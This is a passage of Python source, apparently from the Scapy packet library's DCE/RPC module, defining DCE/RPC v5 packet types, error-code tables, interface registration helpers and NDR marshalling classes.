NL_AUTH_MESSAGE,\n                        length_from=lambda pkt: pkt.parent.auth_len,\n                    ),\n                    lambda pkt: pkt.auth_type == 0x44 and pkt.parent and\n                    # Bind/Alter\n                    pkt.parent.ptype in [11, 12, 13, 14, 15],\n                ),\n                (\n                    PacketLenField(\n                        \"auth_value\",\n                        NL_AUTH_SIGNATURE(),\n                        NL_AUTH_SIGNATURE,\n                        length_from=lambda pkt: pkt.parent.auth_len,\n                    ),\n                    lambda pkt: pkt.auth_type == 0x44\n                    and (\n                        # Other\n                        not pkt.parent\n                        or pkt.parent.ptype not in [11, 12, 13, 14, 15]\n                    ),\n                ),\n            ],\n            PacketLenField(\n                \"auth_value\",\n                None,\n                conf.raw_layer,\n                length_from=lambda pkt: pkt.parent and pkt.parent.auth_len or 0,\n            ),\n        ),\n    ]\n\n    def is_protected(self):\n        if not self.auth_value:\n            return False\n        if self.parent and self.parent.ptype in [11, 12, 13, 14, 15, 16]:\n            return False\n        return True\n\n    def is_ssp(self):\n        if not self.auth_value:\n            return False\n        if self.parent and self.parent.ptype not in [11, 12, 13, 14, 15, 16]:\n            return False\n        return True\n\n    def default_payload_class(self, pkt):\n        return conf.padding_layer\n\n\n# [MS-RPCE] sect 2.2.2.13 - Verification Trailer\n_SECTRAILER_MAGIC = b\"\\x8a\\xe3\\x13\\x71\\x02\\xf4\\x36\\x71\"\n\n\nclass DceRpcSecVTCommand(Packet):\n    name = \"Verification trailer command\"\n    fields_desc = [\n        BitField(\"SEC_VT_MUST_PROCESS_COMMAND\", 0, 1, tot_size=-2),\n        BitField(\"SEC_VT_COMMAND_END\", 0, 1),\n        BitEnumField(\n            \"Command\",\n            0,\n            -14,\n            {\n                0x0001: \"SEC_VT_COMMAND_BITMASK_1\",\n                0x0002: \"SEC_VT_COMMAND_PCONTEXT\",\n                0x0003: \"SEC_VT_COMMAND_HEADER2\",\n            },\n            end_tot_size=-2,\n        ),\n        LenField(\"Length\", None, fmt=\"<H\"),\n    ]\n\n\n# [MS-RPCE] sect 2.2.2.13.2\n\n\nclass DceRpcSecVTBitmask(Packet):\n    name = \"rpc_sec_vt_bitmask\"\n    fields_desc = [\n        LEIntField(\"bits\", 1),\n    ]\n\n    def default_payload_class(self, pkt):\n        return conf.padding_layer\n\n\nbind_layers(DceRpcSecVTCommand, DceRpcSecVTBitmask, Command=0x0001)\n\n\n# [MS-RPCE] sect 2.2.2.13.4\n\n\nclass DceRpcSecVTPcontext(Packet):\n    name = \"rpc_sec_vt_pcontext\"\n    fields_desc = [\n        UUIDEnumField(\n            \"InterfaceId\",\n            None,\n            (\n                DCE_RPC_INTERFACES_NAMES.get,\n                lambda x: DCE_RPC_INTERFACES_NAMES_rev.get(x.lower()),\n            ),\n            uuid_fmt=UUIDField.FORMAT_LE,\n        ),\n        LEIntField(\"Version\", 0),\n        UUIDEnumField(\n            \"TransferSyntax\",\n            None,\n            DCE_RPC_TRANSFER_SYNTAXES,\n            uuid_fmt=UUIDField.FORMAT_LE,\n        ),\n        LEIntField(\"TransferVersion\", 0),\n    ]\n\n    def default_payload_class(self, pkt):\n        return conf.padding_layer\n\n\nbind_layers(DceRpcSecVTCommand, DceRpcSecVTPcontext, Command=0x0002)\n\n\n# [MS-RPCE] sect 2.2.2.13.3\n\n\nclass DceRpcSecVTHeader2(Packet):\n    name = \"rpc_sec_vt_header2\"\n    fields_desc = [\n        ByteField(\"PTYPE\", 0),\n        ByteField(\"Reserved1\", 0),\n        LEShortField(\"Reserved2\", 0),\n        LEIntField(\"drep\", 0),\n        LEIntField(\"call_id\", 0),\n        LEShortField(\"p_cont_id\", 0),\n        LEShortField(\"opnum\", 0),\n    ]\n\n    def default_payload_class(self, pkt):\n        return conf.padding_layer\n\n\nbind_layers(DceRpcSecVTCommand, DceRpcSecVTHeader2, Command=0x0003)\n\n\nclass DceRpcSecVT(Packet):\n    name = \"Verification trailer\"\n    fields_desc = [\n        XStrFixedLenField(\"rpc_sec_verification_trailer\", _SECTRAILER_MAGIC, length=8),\n        PacketListField(\"commands\", [], DceRpcSecVTCommand),\n    ]\n\n\nclass _VerifTrailerField(PacketField):\n    def getfield(\n        self,\n        pkt,\n        s,\n    ):\n        if _SECTRAILER_MAGIC in s:\n            # a bit ugly\n            ind = s.index(_SECTRAILER_MAGIC)\n            sectrailer_bytes, remain = bytes(s[:-ind]), bytes(s[-ind:])\n            vt_trailer = self.m2i(pkt, sectrailer_bytes)\n            if not isinstance(vt_trailer.payload, NoPayload):\n                # bad parse\n                return s, None\n            return remain, vt_trailer\n        return s, None\n\n\n# sect 12.6.3\n\n\n_DCE_RPC_5_FLAGS = {\n    0x01: \"PFC_FIRST_FRAG\",\n    0x02: \"PFC_LAST_FRAG\",\n    0x04: \"PFC_PENDING_CANCEL\",\n    0x08: \"PFC_RESERVED_1\",\n    0x10: \"PFC_CONC_MPX\",\n    0x20: \"PFC_DID_NOT_EXECUTE\",\n    0x40: \"PFC_MAYBE\",\n    0x80: \"PFC_OBJECT_UUID\",\n}\n\n# [MS-RPCE] sect 2.2.2.3\n\n_DCE_RPC_5_FLAGS_2 = _DCE_RPC_5_FLAGS.copy()\n_DCE_RPC_5_FLAGS_2[0x04] = \"PFC_SUPPORT_HEADER_SIGN\"\n\n\n_DCE_RPC_ERROR_CODES = {\n    # Win32\n    0x776: \"OR_INVALID_OXID\",\n    0x777: \"OR_INVALID_OID\",\n    0x778: \"OR_INVALID_SET\",\n    # Appendix N\n    0x1C010001: \"nca_s_comm_failure\",\n    0x1C010002: \"nca_s_op_rng_error\",\n    0x1C010003: \"nca_s_unk_if\",\n    0x1C010006: \"nca_s_wrong_boot_time\",\n    0x1C010009: \"nca_s_you_crashed\",\n    0x1C01000B: \"nca_s_proto_error\",\n    0x1C010013: \"nca_s_out_args_too_big\",\n    0x1C010014: \"nca_s_server_too_busy\",\n    0x1C010015: \"nca_s_fault_string_too_long\",\n    0x1C010017: \"nca_s_unsupported_type\",\n    0x1C000001: \"nca_s_fault_int_div_by_zero\",\n    0x1C000002: \"nca_s_fault_addr_error\",\n    0x1C000003: \"nca_s_fault_fp_div_zero\",\n    0x1C000004: \"nca_s_fault_fp_underflow\",\n    0x1C000005: \"nca_s_fault_fp_overflow\",\n    0x1C000006: \"nca_s_fault_invalid_tag\",\n    0x1C000007: \"nca_s_fault_invalid_bound\",\n    0x1C000008: \"nca_s_rpc_version_mismatch\",\n    0x1C000009: \"nca_s_unspec_reject\",\n    0x1C00000A: \"nca_s_bad_actid\",\n    0x1C00000B: \"nca_s_who_are_you_failed\",\n    0x1C00000C: \"nca_s_manager_not_entered\",\n    0x1C00000D: \"nca_s_fault_cancel\",\n    0x1C00000E: \"nca_s_fault_ill_inst\",\n    0x1C00000F: \"nca_s_fault_fp_error\",\n    0x1C000010: \"nca_s_fault_int_overflow\",\n    0x1C000012: \"nca_s_fault_unspec\",\n    0x1C000013: \"nca_s_fault_remote_comm_failure\",\n    0x1C000014: \"nca_s_fault_pipe_empty\",\n    0x1C000015: \"nca_s_fault_pipe_closed\",\n    0x1C000016: \"nca_s_fault_pipe_order\",\n    0x1C000017: \"nca_s_fault_pipe_discipline\",\n    0x1C000018: \"nca_s_fault_pipe_comm_error\",\n    0x1C000019: \"nca_s_fault_pipe_memory\",\n    0x1C00001A: \"nca_s_fault_context_mismatch\",\n    0x1C00001B: \"nca_s_fault_remote_no_memory\",\n    0x1C00001C: \"nca_s_invalid_pres_context_id\",\n    0x1C00001D: \"nca_s_unsupported_authn_level\",\n    0x1C00001F: \"nca_s_invalid_checksum\",\n    0x1C000020: \"nca_s_invalid_crc\",\n    0x1C000021: \"nca_s_fault_user_defined\",\n    0x1C000022: \"nca_s_fault_tx_open_failed\",\n    0x1C000023: \"nca_s_fault_codeset_conv_error\",\n    0x1C000024: \"nca_s_fault_object_not_found\",\n    0x1C000025: \"nca_s_fault_no_client_stub\",\n    # [MS-ERREF]\n    0x000006D3: \"RPC_S_UNKNOWN_AUTHN_SERVICE\",\n    0x000006D8: \"EPT_S_CANT_PERFORM_OP\",\n    0x000006F7: \"RPC_X_BAD_STUB_DATA\",\n    0x00000719: \"RPC_S_NO_INTERFACES\",\n    0x0000071A: \"RPC_S_CALL_CANCELLED\",\n    0x0000071B: \"RPC_S_BINDING_INCOMPLETE\",\n    0x0000071C: \"RPC_S_COMM_FAILURE\",\n    0x0000071D: \"RPC_S_UNSUPPORTED_AUTHN_LEVEL\",\n    0x0000071E: \"RPC_S_NO_PRINC_NAME\",\n    0x0000071F: \"RPC_S_NOT_RPC_ERROR\",\n    0x00000720: \"RPC_S_UUID_LOCAL_ONLY\",\n    0x00000721: \"RPC_S_SEC_PKG_ERROR\",\n    0x00000722: \"RPC_S_NOT_CANCELLED\",\n    0x0000076A: \"RPC_S_GROUP_MEMBER_NOT_FOUND\",\n    0x0000076C: \"RPC_S_INVALID_OBJECT\",\n    0x80004002: \"E_NOINTERFACE\",\n    0x80010107: \"RPC_E_INVALIDMETHOD\",\n    0x80010108: \"RPC_E_DISCONNECTED\",\n    0x80010109: \"RPC_E_RETRY\",\n    0x80040153: \"REGDB_E_INVALIDVALUE\",\n    0x80040154: \"REGDB_E_CLASSNOTREG\",\n    0x80040155: \"REGDB_E_IIDNOTREG\",\n    0x800706F7: \"COM_X_BAD_STUB_DATA\",\n}\n\n_DCE_RPC_REJECTION_REASONS = {\n    0: \"REASON_NOT_SPECIFIED\",\n    1: \"TEMPORARY_CONGESTION\",\n    2: \"LOCAL_LIMIT_EXCEEDED\",\n    3: \"CALLED_PADDR_UNKNOWN\",\n    4: \"PROTOCOL_VERSION_NOT_SUPPORTED\",\n    5: \"DEFAULT_CONTEXT_NOT_SUPPORTED\",\n    6: \"USER_DATA_NOT_READABLE\",\n    7: \"NO_PSAP_AVAILABLE\",\n    8: \"AUTHENTICATION_TYPE_NOT_RECOGNIZED\",\n    9: \"INVALID_CHECKSUM\",\n}\n\n\nclass DceRpc5(DceRpc):\n    \"\"\"\n    DCE/RPC v5 'connection-oriented' packet\n    \"\"\"\n\n    name = \"DCE/RPC v5\"\n    fields_desc = (\n        [\n            ByteEnumField(\n                \"rpc_vers\", 5, {4: \"4 (connection-less)\", 5: \"5 (connection-oriented)\"}\n            ),\n            ByteField(\"rpc_vers_minor\", 0),\n            ByteEnumField(\"ptype\", 0, DCE_RPC_TYPE),\n            MultipleTypeField(\n                # [MS-RPCE] sect 2.2.2.3\n                [\n                    (\n                        FlagsField(\"pfc_flags\", 0x3, 8, _DCE_RPC_5_FLAGS_2),\n                        lambda pkt: pkt.ptype in [11, 12, 13, 14, 15, 16],\n                    )\n                ],\n                FlagsField(\"pfc_flags\", 0x3, 8, _DCE_RPC_5_FLAGS),\n            ),\n        ]\n        + _drep\n        + [\n            ByteField(\"reserved2\", 0),\n            _EField(ShortField(\"frag_len\", None)),\n            _EField(\n                FieldLenField(\n                    \"auth_len\",\n                    None,\n                    fmt=\"H\",\n                    length_of=\"auth_verifier\",\n                    adjust=lambda _, x: 0 if not x else (x - 8),\n                )\n            ),\n            _EField(IntField(\"call_id\", None)),\n            # Now let's proceed with trailer fields, i.e. at the end of the PACKET\n            # (below all payloads, etc.). Have a look at Figure 3 in sect 2.2.2.13\n            # of [MS-RPCE] but note the following:\n            # - auth_verifier includes sec_trailer + the authentication token\n            # - auth_padding is the authentication padding\n            # - vt_trailer is the verification trailer\n            ConditionalField(\n                TrailerField(\n                    PacketLenField(\n                        \"auth_verifier\",\n                        None,\n                        CommonAuthVerifier,\n                        length_from=lambda pkt: pkt.auth_len + 8,\n                    )\n                ),\n                lambda pkt: pkt.auth_len != 0,\n            ),\n            ConditionalField(\n                TrailerField(\n                    StrLenField(\n                        \"auth_padding\",\n                        None,\n                        length_from=lambda pkt: pkt.auth_verifier.auth_pad_length,\n                    )\n                ),\n                lambda pkt: pkt.auth_len != 0,\n            ),\n            TrailerField(\n                _VerifTrailerField(\"vt_trailer\", None, DceRpcSecVT),\n            ),\n        ]\n    )\n\n    def do_dissect(self, s):\n        # Overload do_dissect to only include the current layer in dissection.\n        # This allows to support TrailerFields, even in the case where multiple DceRpc5\n        # packets are concatenated\n        frag_len = self.get_field(\"frag_len\").getfield(self, s[8:10])[1]\n        s, remain = s[:frag_len], s[frag_len:]\n        return super(DceRpc5, self).do_dissect(s) + remain\n\n    def extract_padding(self, s):\n        # Now, take any data that doesn't fit in the current fragment and make it\n        # padding. The caller is responsible for looking for eventual padding and\n        # creating the next fragment, etc.\n        pay_len = self.frag_len - len(self.original) + len(s)\n        return s[:pay_len], s[pay_len:]\n\n    def post_build(self, pkt, pay):\n        if (\n            self.auth_verifier\n            and self.auth_padding is None\n            and self.auth_verifier.auth_pad_length is None\n        ):\n            # Compute auth_len and add padding\n            auth_len = self.get_field(\"auth_len\").getfield(self, pkt[10:12])[1] + 8\n            auth_verifier, pay = pay[-auth_len:], pay[:-auth_len]\n            pdu_len = len(pay)\n            if self.payload:\n                pdu_len -= len(self.payload.self_build())\n            padlen = (-pdu_len) % _COMMON_AUTH_PAD\n            auth_verifier = (\n                auth_verifier[:2] + struct.pack(\"B\", padlen) + auth_verifier[3:]\n            )\n            pay = pay + (padlen * b\"\\x00\") + auth_verifier\n        if self.frag_len is None:\n            # Compute frag_len\n            length = len(pkt) + len(pay)\n            pkt = (\n                pkt[:8]\n                + self.get_field(\"frag_len\").addfield(self, b\"\", length)\n                + pkt[10:]\n            )\n        return pkt + pay\n\n    def answers(self, pkt):\n        return isinstance(pkt, DceRpc5) and pkt[DceRpc5].call_id == self.call_id\n\n    @classmethod\n    def tcp_reassemble(cls, data, _, session):\n        if data[0:1] != b\"\\x05\":\n            return\n        endian = struct.unpack(\"!B\", data[4:5])[0] >> 4\n        if endian not in [0, 1]:\n            return\n        length = struct.unpack((\"<\" if endian else \">\") + \"H\", data[8:10])[0]\n        if len(data) >= length:\n            if conf.dcerpc_session_enable:\n                # If DCE/RPC sessions are enabled, use them !\n                if \"dcerpcsess\" not in session:\n                    session[\"dcerpcsess\"] = dcerpcsess = DceRpcSession()\n                else:\n                    dcerpcsess = session[\"dcerpcsess\"]\n                return dcerpcsess.process(DceRpc5(data))\n            return DceRpc5(data)\n\n\n# sec 12.6.3.1\n\n\nclass DceRpc5AbstractSyntax(EPacket):\n    name = \"Presentation Syntax (p_syntax_id_t)\"\n    fields_desc = [\n        _EField(\n            UUIDEnumField(\n                \"if_uuid\",\n                None,\n                (\n                    # Those are dynamic\n                    DCE_RPC_INTERFACES_NAMES.get,\n                    lambda x: DCE_RPC_INTERFACES_NAMES_rev.get(x.lower()),\n                ),\n            )\n        ),\n        _EField(IntField(\"if_version\", 3)),\n    ]\n\n\nclass DceRpc5TransferSyntax(EPacket):\n    name = \"Presentation Transfer Syntax (p_syntax_id_t)\"\n    fields_desc = [\n        _EField(\n            UUIDEnumField(\n                \"if_uuid\",\n                None,\n                DCE_RPC_TRANSFER_SYNTAXES,\n            )\n        ),\n        _EField(IntField(\"if_version\", 3)),\n    ]\n\n\nclass DceRpc5Context(EPacket):\n    name = \"Presentation Context (p_cont_elem_t)\"\n    fields_desc = [\n        _EField(ShortField(\"cont_id\", 0)),\n        FieldLenField(\"n_transfer_syn\", None, count_of=\"transfer_syntaxes\", fmt=\"B\"),\n        ByteField(\"reserved\", 0),\n        EPacketField(\"abstract_syntax\", None, DceRpc5AbstractSyntax),\n        EPacketListField(\n            \"transfer_syntaxes\",\n            None,\n            DceRpc5TransferSyntax,\n            count_from=lambda pkt: pkt.n_transfer_syn,\n            endianness_from=_dce_rpc_endianness,\n        ),\n    ]\n\n\nclass DceRpc5Result(EPacket):\n    name = \"Context negotiation Result\"\n    fields_desc = [\n        _EField(\n            ShortEnumField(\n                \"result\", 0, [\"acceptance\", \"user_rejection\", \"provider_rejection\"]\n            )\n        ),\n        _EField(\n            ShortEnumField(\n                \"reason\",\n                0,\n                _DCE_RPC_REJECTION_REASONS,\n            )\n        ),\n        EPacketField(\"transfer_syntax\", None, DceRpc5TransferSyntax),\n    ]\n\n\nclass DceRpc5PortAny(EPacket):\n    name = \"Port Any (port_any_t)\"\n    fields_desc = [\n        _EField(FieldLenField(\"length\", None, length_of=\"port_spec\", fmt=\"H\")),\n        _EField(StrLenField(\"port_spec\", b\"\", length_from=lambda pkt: pkt.length)),\n    ]\n\n\n# sec 12.6.4.3\n\n\nclass DceRpc5Bind(_DceRpcPayload):\n    name = \"DCE/RPC v5 - Bind\"\n    fields_desc = [\n        _EField(ShortField(\"max_xmit_frag\", 5840)),\n        _EField(ShortField(\"max_recv_frag\", 8192)),\n        _EField(IntField(\"assoc_group_id\", 0)),\n        # p_cont_list_t\n        _EField(\n            FieldLenField(\"n_context_elem\", None, count_of=\"context_elem\", fmt=\"B\")\n        ),\n        StrFixedLenField(\"reserved\", 0, length=3),\n        EPacketListField(\n            \"context_elem\",\n            [],\n            DceRpc5Context,\n            endianness_from=_dce_rpc_endianness,\n            count_from=lambda pkt: pkt.n_context_elem,\n        ),\n    ]\n\n\nbind_layers(DceRpc5, DceRpc5Bind, ptype=11)\n\n# sec 12.6.4.4\n\n\nclass DceRpc5BindAck(_DceRpcPayload):\n    name = \"DCE/RPC v5 - Bind Ack\"\n    fields_desc = [\n        _EField(ShortField(\"max_xmit_frag\", 5840)),\n        _EField(ShortField(\"max_recv_frag\", 8192)),\n        _EField(IntField(\"assoc_group_id\", 0)),\n        PadField(\n            EPacketField(\"sec_addr\", None, DceRpc5PortAny),\n            align=4,\n        ),\n        # p_result_list_t\n        _EField(FieldLenField(\"n_results\", None, count_of=\"results\", fmt=\"B\")),\n        StrFixedLenField(\"reserved\", 0, length=3),\n        EPacketListField(\n            \"results\",\n            [],\n            DceRpc5Result,\n            endianness_from=_dce_rpc_endianness,\n            count_from=lambda pkt: pkt.n_results,\n        ),\n    ]\n\n\nbind_layers(DceRpc5, DceRpc5BindAck, ptype=12)\n\n# sec 12.6.4.5\n\n\nclass DceRpc5Version(EPacket):\n    name = \"version_t\"\n    fields_desc = [\n        ByteField(\"major\", 0),\n        ByteField(\"minor\", 0),\n    ]\n\n\nclass DceRpc5BindNak(_DceRpcPayload):\n    name = \"DCE/RPC v5 - Bind Nak\"\n    fields_desc = [\n        _EField(\n            ShortEnumField(\"provider_reject_reason\", 0, _DCE_RPC_REJECTION_REASONS)\n        ),\n        # p_rt_versions_supported_t\n        _EField(FieldLenField(\"n_protocols\", None, count_of=\"protocols\", fmt=\"B\")),\n        EPacketListField(\n            \"protocols\",\n            [],\n            DceRpc5Version,\n            count_from=lambda pkt: pkt.n_protocols,\n            endianness_from=_dce_rpc_endianness,\n        ),\n        # [MS-RPCE] sect 2.2.2.9\n        ConditionalField(\n            ReversePadField(\n                _EField(\n                    UUIDEnumField(\n                        \"signature\",\n                        None,\n                        {\n                            UUID(\n                                \"90740320-fad0-11d3-82d7-009027b130ab\"\n                            ): \"Extended Error\",\n                        },\n                    )\n                ),\n                align=8,\n            ),\n            lambda pkt: pkt.fields.get(\"signature\", None)\n            or (\n                pkt.underlayer\n                and pkt.underlayer.frag_len >= 24 + pkt.n_protocols * 2 + 16\n            ),\n        ),\n    ]\n\n\nbind_layers(DceRpc5, DceRpc5BindNak, ptype=13)\n\n\n# sec 12.6.4.1\n\n\nclass DceRpc5AlterContext(_DceRpcPayload):\n    name = \"DCE/RPC v5 - AlterContext\"\n    fields_desc = DceRpc5Bind.fields_desc\n\n\nbind_layers(DceRpc5, DceRpc5AlterContext, ptype=14)\n\n\n# sec 12.6.4.2\n\n\nclass DceRpc5AlterContextResp(_DceRpcPayload):\n    name = \"DCE/RPC v5 - AlterContextResp\"\n    fields_desc = DceRpc5BindAck.fields_desc\n\n\nbind_layers(DceRpc5, DceRpc5AlterContextResp, ptype=15)\n\n# [MS-RPCE] sect 2.2.2.10 - rpc_auth_3\n\n\nclass DceRpc5Auth3(Packet):\n    name = \"DCE/RPC v5 - Auth3\"\n    fields_desc = [StrFixedLenField(\"pad\", b\"\", length=4)]\n\n\nbind_layers(DceRpc5, DceRpc5Auth3, ptype=16)\n\n# sec 12.6.4.7\n\n\nclass DceRpc5Fault(_DceRpcPayload):\n    name = \"DCE/RPC v5 - Fault\"\n    fields_desc = [\n        _EField(IntField(\"alloc_hint\", 0)),\n        _EField(ShortField(\"cont_id\", 0)),\n        ByteField(\"cancel_count\", 0),\n        FlagsField(\"reserved\", 0, -8, {0x1: \"RPC extended error\"}),\n        _EField(LEIntEnumField(\"status\", 0, _DCE_RPC_ERROR_CODES)),\n        IntField(\"reserved2\", 0),\n    ]\n\n\nbind_layers(DceRpc5, DceRpc5Fault, ptype=3)\n\n\n# sec 12.6.4.9\n\n\nclass DceRpc5Request(_DceRpcPayload):\n    name = \"DCE/RPC v5 - Request\"\n    fields_desc = [\n        _EField(IntField(\"alloc_hint\", 0)),\n        _EField(ShortField(\"cont_id\", 0)),\n        _EField(ShortField(\"opnum\", 0)),\n        ConditionalField(\n            PadField(\n                _EField(UUIDField(\"object\", None)),\n                align=8,\n            ),\n            lambda pkt: pkt.underlayer and pkt.underlayer.pfc_flags.PFC_OBJECT_UUID,\n        ),\n    ]\n\n\nbind_layers(DceRpc5, DceRpc5Request, ptype=0)\n\n# sec 12.6.4.10\n\n\nclass DceRpc5Response(_DceRpcPayload):\n    name = \"DCE/RPC v5 - Response\"\n    fields_desc = [\n        _EField(IntField(\"alloc_hint\", 0)),\n        _EField(ShortField(\"cont_id\", 0)),\n        ByteField(\"cancel_count\", 0),\n        ByteField(\"reserved\", 0),\n    ]\n\n\nbind_layers(DceRpc5, DceRpc5Response, ptype=2)\n\n# --- API\n\nDceRpcOp = collections.namedtuple(\"DceRpcOp\", [\"request\", \"response\"])\nDCE_RPC_INTERFACES = {}\n\n\nclass DceRpcInterface:\n    def __init__(self, name, uuid, version_tuple, if_version, opnums):\n        self.name = name\n        self.uuid = uuid\n        self.major_version, self.minor_version = version_tuple\n        self.if_version = if_version\n        self.opnums = opnums\n\n    def __repr__(self):\n        return \"<DCE/RPC Interface %s v%s.%s>\" % (\n            self.name,\n            self.major_version,\n            self.minor_version,\n        )\n\n\ndef register_dcerpc_interface(name, uuid, version, opnums):\n    \"\"\"\n    Register a DCE/RPC interface\n    \"\"\"\n    version_tuple = tuple(map(int, version.split(\".\")))\n    assert len(version_tuple) == 2, \"Version should be in format 'X.X' !\"\n    if_version = (version_tuple[1] << 16) + version_tuple[0]\n    if (uuid, if_version) in DCE_RPC_INTERFACES:\n        # Interface is already registered.\n        interface = DCE_RPC_INTERFACES[(uuid, if_version)]\n        if interface.name == name:\n            if set(opnums) - set(interface.opnums):\n                # Interface is an extension of a previous interface\n                interface.opnums.update(opnums)\n            else:\n                log_runtime.warning(\n                    \"This interface is already registered: %s. Skip\" % interface\n                )\n                return\n        else:\n            raise ValueError(\n                \"An interface with the same UUID is already registered: %s\" % interface\n            )\n    else:\n        # New interface\n        DCE_RPC_INTERFACES_NAMES[uuid] = name\n        DCE_RPC_INTERFACES_NAMES_rev[name.lower()] = uuid\n        DCE_RPC_INTERFACES[(uuid, if_version)] = DceRpcInterface(\n            name,\n            uuid,\n            version_tuple,\n            if_version,\n            opnums,\n        )\n\n    # bind for build\n    for opnum, operations in opnums.items():\n        bind_top_down(DceRpc5Request, operations.request, opnum=opnum)\n        operations.request.opnum = opnum\n        operations.request.intf = uuid\n\n\ndef find_dcerpc_interface(name) -> DceRpcInterface:\n    \"\"\"\n    Find an interface object through the name in the IDL\n    \"\"\"\n    try:\n        return next(x for x in DCE_RPC_INTERFACES.values() if x.name == name)\n    except StopIteration:\n        raise AttributeError(\"Unknown interface !\")\n\n\nCOM_INTERFACES = {}\n\n\nclass ComInterface:\n    if_version = 0\n\n    def __init__(self, name, uuid, opnums):\n        self.name = name\n        self.uuid = uuid\n        self.opnums = opnums\n\n    def __repr__(self):\n        return \"<COM Interface %s>\" % (self.name,)\n\n\ndef register_com_interface(name, uuid, opnums):\n    \"\"\"\n    Register a COM interface\n    \"\"\"\n    COM_INTERFACES[uuid] = ComInterface(\n        name,\n        uuid,\n        opnums,\n    )\n    # bind for build\n    for opnum, operations in opnums.items():\n        bind_top_down(DceRpc5Request, operations.request, opnum=opnum)\n    COM_INTERFACES_NAMES[uuid] = name\n    COM_INTERFACES_NAMES_rev[name.lower()] = uuid\n\n\ndef find_com_interface(name) -> ComInterface:\n    \"\"\"\n    Find an interface object through the name in the IDL\n    \"\"\"\n    try:\n        return next(x for x in COM_INTERFACES.values() if x.name == name)\n    except StopIteration:\n        raise AttributeError(\"Unknown interface !\")\n\n\n# --- NDR fields - [C706] chap 14\n\n\ndef _set_ctx_on(f, obj):\n    if isinstance(f, _NDRPacket):\n        f.ndr64 = obj.ndr64\n        f.ndrendian = obj.ndrendian\n    if isinstance(f, list):\n        for x in f:\n            if isinstance(x, _NDRPacket):\n                x.ndr64 = obj.ndr64\n                x.ndrendian = obj.ndrendian\n\n\ndef _e(ndrendian):\n    return {\"big\": \">\", \"little\": \"<\"}[ndrendian]\n\n\nclass _NDRPacket(Packet):\n    __slots__ = [\"ndr64\", \"ndrendian\", \"deferred_pointers\", \"request_packet\"]\n\n    def __init__(self, *args, **kwargs):\n        self.ndr64 = kwargs.pop(\"ndr64\", conf.ndr64)\n        self.ndrendian = kwargs.pop(\"ndrendian\", \"little\")\n        # request_packet is used in the session, so that a response packet\n        # can resolve union arms if the case parameter is in the request.\n        self.request_packet = kwargs.pop(\"request_packet\", None)\n        self.deferred_pointers = []\n        super(_NDRPacket, self).__init__(*args, **kwargs)\n\n    def do_dissect(self, s):\n        _up = self.parent or self.underlayer\n        if _up and isinstance(_up, _NDRPacket):\n            self.ndr64 = _up.ndr64\n            self.ndrendian = _up.ndrendian\n        else:\n            # See comment above NDRConstructedType\n            return NDRConstructedType([]).read_deferred_pointers(\n                self, super(_NDRPacket, self).do_dissect(s)\n            )\n        return super(_NDRPacket, self).do_dissect(s)\n\n    def post_dissect(self, s):\n        if self.deferred_pointers:\n            # Can't trust the cache if there were deferred pointers\n            self.raw_packet_cache = None\n        return s\n\n    def do_build(self):\n        _up = self.parent or self.underlayer\n        for f in self.fields.values():\n            _set_ctx_on(f, self)\n        if not _up or not isinstance(_up, _NDRPacket):\n            # See comment above NDRConstructedType\n            return NDRConstructedType([]).add_deferred_pointers(\n                self, super(_NDRPacket, self).do_build()\n            )\n        return super(_NDRPacket, self).do_build()\n\n    def default_payload_class(self, pkt):\n        return conf.padding_layer\n\n    def clone_with(self, *args, **kwargs):\n        pkt = super(_NDRPacket, self).clone_with(*args, **kwargs)\n        # We need to copy deferred_pointers to not break pointer deferral\n        # on build.\n        pkt.deferred_pointers = self.deferred_pointers\n        pkt.ndr64 = self.ndr64\n        pkt.ndrendian = self.ndrendian\n        return pkt\n\n    def copy(self):\n        pkt = super(_NDRPacket, self).copy()\n        pkt.deferred_pointers = self.deferred_pointers\n        pkt.ndr64 = self.ndr64\n        pkt.ndrendian = self.ndrendian\n        return pkt\n\n    def show2(self, dump=False, indent=3, lvl=\"\", label_lvl=\"\"):\n        return self.__class__(\n            bytes(self), ndr64=self.ndr64, ndrendian=self.ndrendian\n        ).show(dump, indent, lvl, label_lvl)\n\n    def getfield_and_val(self, attr):\n        try:\n            return Packet.getfield_and_val(self, attr)\n        except ValueError:\n            if self.request_packet:\n                # Try to resolve the field from the request on failure\n                try:\n                    return self.request_packet.getfield_and_val(attr)\n                except AttributeError:\n                    pass\n            raise\n\n    def valueof(self, request: str):\n        \"\"\"\n        Util to get the value of a NDRField, ignoring arrays, pointers, etc.\n        \"\"\"\n        val = self\n        for ndr_field in request.split(\".\"):\n            fld, fval = val.getfield_and_val(ndr_field)\n            val = fld.valueof(val, fval)\n        return val\n\n\nclass _NDRAlign:\n    def padlen(self, flen, pkt):\n        return -flen % self._align[pkt.ndr64]\n\n    def original_length(self, pkt):\n        # Find the length of the NDR frag to be able to pad properly\n        while pkt:\n            par = pkt.parent or pkt.underlayer\n            if par and isinstance(par, _NDRPacket):\n                pkt = par\n            else:\n                break\n        return len(pkt.original)\n\n\nclass NDRAlign(_NDRAlign, ReversePadField):\n    \"\"\"\n    ReversePadField modified to fit NDR.\n\n    - If no align size is specified, use the one from the inner field\n    - Size is calculated from the beginning of the NDR stream\n    \"\"\"\n\n    def __init__(self, fld, align, padwith=None):\n        super(NDRAlign, self).__init__(fld, align=align, padwith=padwith)\n\n\nclass _VirtualField(Field):\n    # Hold a value but doesn't show up when building/dissecting\n    def addfield(self, pkt, s, x):\n        return s\n\n    def getfield(self, pkt, s):\n        return s, None\n\n\nclass _NDRPacketMetaclass(Packet_metaclass):\n    def __new__(cls, name, bases, dct):\n        newcls = super(_NDRPacketMetaclass, cls).__new__(cls, name, bases, dct)\n        conformants = dct.get(\"DEPORTED_CONFORMANTS\", [])\n        if conformants:\n            amount = len(conformants)\n            if amount == 1:\n                newcls.fields_desc.insert(\n                    0,\n                    _VirtualField(\"max_count\", None),\n                )\n            else:\n                newcls.fields_desc.insert(\n                    0,\n                    FieldListField(\n                        \"max_counts\",\n                        [],\n                        _VirtualField(\"\", 0),\n                        count_from=lambda _: amount,\n                    ),\n                )\n        return newcls  # type: ignore\n\n\nclass NDRPacket(_NDRPacket, metaclass=_NDRPacketMetaclass):\n    \"\"\"\n    A NDR Packet. Handles pointer size & endianness\n    \"\"\"\n\n    __slots__ = [\"_align\"]\n\n    # NDR64 pad structures\n    # [MS-RPCE] 2.2.5.3.4.1\n    ALIGNMENT = (1, 1)\n    # [C706] sect 14.3.7 - Conformants max_count can be added to the beginning\n    DEPORTED_CONFORMANTS = []\n\n\n# Primitive types\n\n\nclass _NDRValueOf:\n    def valueof(self, pkt, x):\n        return x\n\n\nclass _NDRLenField(_NDRValueOf, 